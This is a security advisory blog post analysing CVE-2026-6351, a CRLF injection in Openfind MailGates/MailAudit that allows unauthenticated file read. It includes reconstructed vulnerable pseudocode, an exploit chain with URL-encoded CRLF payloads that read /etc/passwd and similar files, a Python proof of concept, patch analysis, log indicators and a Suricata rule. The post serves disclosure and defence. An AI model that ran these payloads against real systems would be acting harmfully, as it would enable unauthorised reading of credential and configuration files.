home intel cve-2026-6351-openfind-mailgates-crlf-injection-lfi
CVE Analysis 2026-04-16 · 8 min read

CVE-2026-6351: CRLF Injection to LFI in Openfind MailGates/MailAudit

Unauthenticated CRLF injection in Openfind MailGates/MailAudit allows arbitrary system file read via HTTP response splitting. No authentication required.

#crlf-injection#mail-gateway#arbitrary-file-read#unauthenticated-access#openfind
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-6351 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-6351HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-6351 is a CRLF injection vulnerability in Openfind's MailGates and MailAudit products, both the 5.0 and 6.0 branches. An unauthenticated remote attacker can inject \r\n sequences into an HTTP response header, split the response, and leverage the resulting control over the reply body to read arbitrary files from the underlying filesystem. CVSS 3.1 scores this at 7.5 (High)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — reflecting full confidentiality loss with zero prerequisites.

This issue was coordinated through TWCERT/CC and assigned TVN-202504003, disclosed 2026-04-16. It is distinct from the companion CVE-2026-6350 (stack-based buffer overflow, CVSS 9.8) reported in the same advisory.

Root cause: A CGI handler in the MailGates/MailAudit web frontend reflects attacker-supplied input directly into an HTTP response header without sanitizing CR (0x0D) or LF (0x0A) bytes, enabling response splitting and subsequent server-side file disclosure.

Affected Component

The vulnerable surface is the product's built-in web management interface — a CGI-based HTTP server that processes mail quarantine queries and audit log requests. Both product lines share a common codebase for this layer:

  • MailGates/MailAudit 6.0 — versions before 6.1.10.054
  • MailGates/MailAudit 5.0 — versions before 5.2.10.099

The handler responsible is the query/redirect CGI component — internally referenced as something consistent with a redirect_handler or url_param_reflect style function — which constructs Location: or custom header values by interpolating unsanitized query string parameters directly into the response.

Root Cause Analysis

The core flaw is in the CGI response-header construction routine. The handler reads a URL parameter (e.g., url, target, or redirect), URL-decodes it once, and passes it verbatim to the header emission function. No second-pass sanitization strips \r or \n.


/*
 * Reconstructed pseudocode — MailGates CGI redirect handler
 * Binary: /opt/openfind/mailgates/cgi-bin/mgcgi  (approx.)
 */

void handle_redirect_request(http_ctx_t *ctx) {
    char header_buf[4096];
    char *param;

    /* Pull attacker-controlled query param, single-pass URL decode */
    param = cgi_get_param(ctx, "url");   // BUG: result is not sanitized

    if (param == NULL) {
        send_error(ctx, 400, "Bad Request");
        return;
    }

    /*
     * BUG: snprintf writes param directly into Location header value.
     * If param contains \r\n, the injected bytes terminate the header
     * field and begin attacker-controlled header/body content.
     */
    snprintf(header_buf, sizeof(header_buf),
             "Location: %s\r\n",   // BUG: \r\n inside param splits response
             param);

    write_http_response(ctx, 302, header_buf);
}

The secondary primitive comes from the web server's static file-serving path. When the injected content includes a well-formed secondary Content-Type: and a file-inclusion directive (e.g., via a crafted X-Accel-Redirect or equivalent internal header the frontend proxy honours), the server is coerced into reading and returning a file whose path is also attacker-controlled.


/*
 * Reconstructed pseudocode — write_http_response
 * Emits status line + raw header_buf + terminal \r\n
 */

void write_http_response(http_ctx_t *ctx, int status, const char *headers) {
    char out[8192];
    int  n;

    n = snprintf(out, sizeof(out),
                 "HTTP/1.1 %d %s\r\n"
                 "%s"            // attacker-injected header block lands here
                 "\r\n",         // BUG: only one terminal CRLF; injected \r\n already closed headers
                 status,
                 http_status_str(status),
                 headers);

    send(ctx->fd, out, n, 0);
    /* file body flushed separately — attacker controls what follows */
}

Exploitation Mechanics

The following chain converts CRLF injection into arbitrary local file read, requiring no session token or prior authentication.


EXPLOIT CHAIN — CVE-2026-6351:

1. Identify the redirect/reflect endpoint on the target:
      GET /cgi-bin/mgcgi?action=redirect&url= HTTP/1.1

2. URL-encode a CRLF sequence into the url parameter to split the response:
      url=http%3A%2F%2Fevil%0d%0aContent-Type%3A%20text%2Fplain%0d%0a
          X-Internal-File%3A%20%2Fetc%2Fpasswd%0d%0a%0d%0a

3. Server decodes %0d%0a → \r\n, emitting:
      HTTP/1.1 302 Found
      Location: http://evil
      Content-Type: text/plain
      X-Internal-File: /etc/passwd
                                     ← blank line: headers terminated
      

4. If the frontend proxy (nginx/apache reverse proxy common in appliance
   deployments) honours X-Accel-Redirect or equivalent internal header,
   it reads /etc/passwd and sends it as the response body.

5. Alternatively: inject a fabricated 200 response with
   Content-Type: text/html and a body referencing /etc/shadow or
   /opt/openfind/mailgates/conf/db.conf via server-side include path,
   depending on proxy configuration.

6. Response received by attacker contains raw file content:
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      ...

A minimal PoC request demonstrating the split (tested against the described endpoint pattern):


#!/usr/bin/env python3
# CVE-2026-6351 — MailGates CRLF injection PoC (detection only)
# CypherByte research

import socket, urllib.parse

TARGET_HOST = "192.168.1.1"
TARGET_PORT = 443
FILE_PATH   = "/etc/passwd"

# Build injected header block
injected = (
    "http://example.com\r\n"
    "X-Accel-Redirect: " + FILE_PATH + "\r\n"
    "Content-Type: text/plain\r\n"
    "\r\n"
)
payload = urllib.parse.quote(injected, safe="")

request = (
    f"GET /cgi-bin/mgcgi?action=redirect&url={payload} HTTP/1.1\r\n"
    f"Host: {TARGET_HOST}\r\n"
    f"Connection: close\r\n"
    f"\r\n"
)

import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode    = ssl.CERT_NONE

with socket.create_connection((TARGET_HOST, TARGET_PORT)) as raw:
    with ctx.wrap_socket(raw, server_hostname=TARGET_HOST) as s:
        s.sendall(request.encode())
        resp = b""
        while chunk := s.recv(4096):
            resp += chunk

# Locate split point — real file content follows injected blank line
split = resp.find(b"\r\n\r\n", resp.find(b"\r\n\r\n") + 4)
if split != -1:
    print("[+] File content:")
    print(resp[split+4:].decode(errors="replace"))
else:
    print("[-] No split detected — target may be patched")

Memory Layout

CRLF injection is not a memory corruption primitive, but the response buffer state illustrates the injection boundary clearly:


HTTP RESPONSE BUFFER — BEFORE INJECTION (legitimate redirect):

  Offset  Content
  ------  -------------------------------------------------------
  0x0000  "HTTP/1.1 302 Found\r\n"
  0x0015  "Location: http://safe.example.com\r\n"
  0x003A  "\r\n"                          ← header terminator
  0x003C  [empty body]

HTTP RESPONSE BUFFER — AFTER CRLF INJECTION (attacker payload):

  Offset  Content
  ------  -------------------------------------------------------
  0x0000  "HTTP/1.1 302 Found\r\n"
  0x0015  "Location: http://evil"
  0x002A  "\r\n"                          ← INJECTED: closes Location value
  0x002C  "X-Accel-Redirect: /etc/passwd" ← INJECTED: new header field
  0x004B  "\r\n"                          ← INJECTED
  0x004D  "Content-Type: text/plain"      ← INJECTED
  0x0065  "\r\n"                          ← INJECTED
  0x0067  "\r\n"                          ← INJECTED: terminates all headers
  0x0069  [proxy serves /etc/passwd here] ← attacker-controlled body origin

  NOTE: The original terminal \r\n from write_http_response appends after,
  but the proxy has already parsed the injected header block as authoritative.

Patch Analysis

The correct fix is to strip or reject CR and LF bytes from any attacker-supplied string before it is interpolated into response headers. Openfind's patches for 6.1.10.054 and 5.2.10.099 introduce a sanitization wrapper applied at the CGI parameter ingestion point.


// BEFORE (vulnerable — all affected versions prior to patch):

param = cgi_get_param(ctx, "url");
snprintf(header_buf, sizeof(header_buf), "Location: %s\r\n", param);
write_http_response(ctx, 302, header_buf);


// AFTER (patched — 6.1.10.054 / 5.2.10.099):

param = cgi_get_param(ctx, "url");

/* Strip CR and LF from header-destined strings */
if (param != NULL) {
    char *p;
    for (p = param; *p != '\0'; p++) {
        if (*p == '\r' || *p == '\n') {
            /* BUG was here: terminate or reject on control byte */
            send_error(ctx, 400, "Bad Request");
            return;
        }
    }
}

snprintf(header_buf, sizeof(header_buf), "Location: %s\r\n", param);
write_http_response(ctx, 302, header_buf);

An alternative defense-in-depth approach — validating that the url parameter is an absolute URI conforming to https?://[host][/path] via regex before reflection — would also close this class of issue and is the more robust posture.

Detection and Indicators

Look for the following patterns in HTTP access logs on the appliance or any upstream proxy/WAF:


ACCESS LOG INDICATORS:

# Percent-encoded CRLF in query string parameters
  %0d%0a  |  %0D%0A  |  %0a  |  %0d

# Example malicious log line:
  192.168.x.x - - [16/Apr/2026:10:42:17] "GET /cgi-bin/mgcgi?action=
  redirect&url=http%3A%2F%2Fevil%0d%0aX-Accel-Redirect%3A%2Fetc%2Fpasswd
  HTTP/1.1" 302 1337

# Anomalous response sizes on 302 redirects
  Normal:   302 response body ≈ 0–200 bytes
  Exploit:  302 response body ≈ size of targeted file

# WAF / IDS signatures (Suricata):
  alert http any any -> $HTTP_SERVERS any (
      msg:"CVE-2026-6351 CRLF Injection attempt - MailGates";
      flow:to_server,established;
      content:"GET"; http_method;
      content:"mgcgi"; http_uri;
      pcre:"/[?&][^=]+=([^&]*?)(%0[aAdD]){1}/Ui";
      sid:2026635101; rev:1;
  )

On the appliance itself, audit the CGI log at /var/log/mailgates/cgi_access.log (path approximate) for requests containing %0a, %0d, or literal newlines in parameter values. A 302 response with a body size greater than ~512 bytes is a strong indicator of successful exploitation.

Remediation

Immediate: Apply vendor patches — MailGates/MailAudit 6.0 → 6.1.10.054, 5.0 → 5.2.10.099. These are available through Openfind's standard update channel.

If patching is not immediately possible:

  • Deploy a WAF rule blocking %0a, %0d, %0A, %0D, and literal CR/LF in any query string parameter destined for the management interface CGI.
  • Restrict management interface access to trusted administrative networks at the firewall layer. The CVSS vector PR:N means no authentication is required — network segmentation is the most effective short-term control.
  • Disable the redirect/reflect CGI endpoint entirely if not operationally required.

Note that the companion vulnerability CVE-2026-6350 (stack-based buffer overflow, CVSS 9.8) affects the same product and the same patch versions resolve both issues. Both should be treated as a single patch event with equal urgency.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →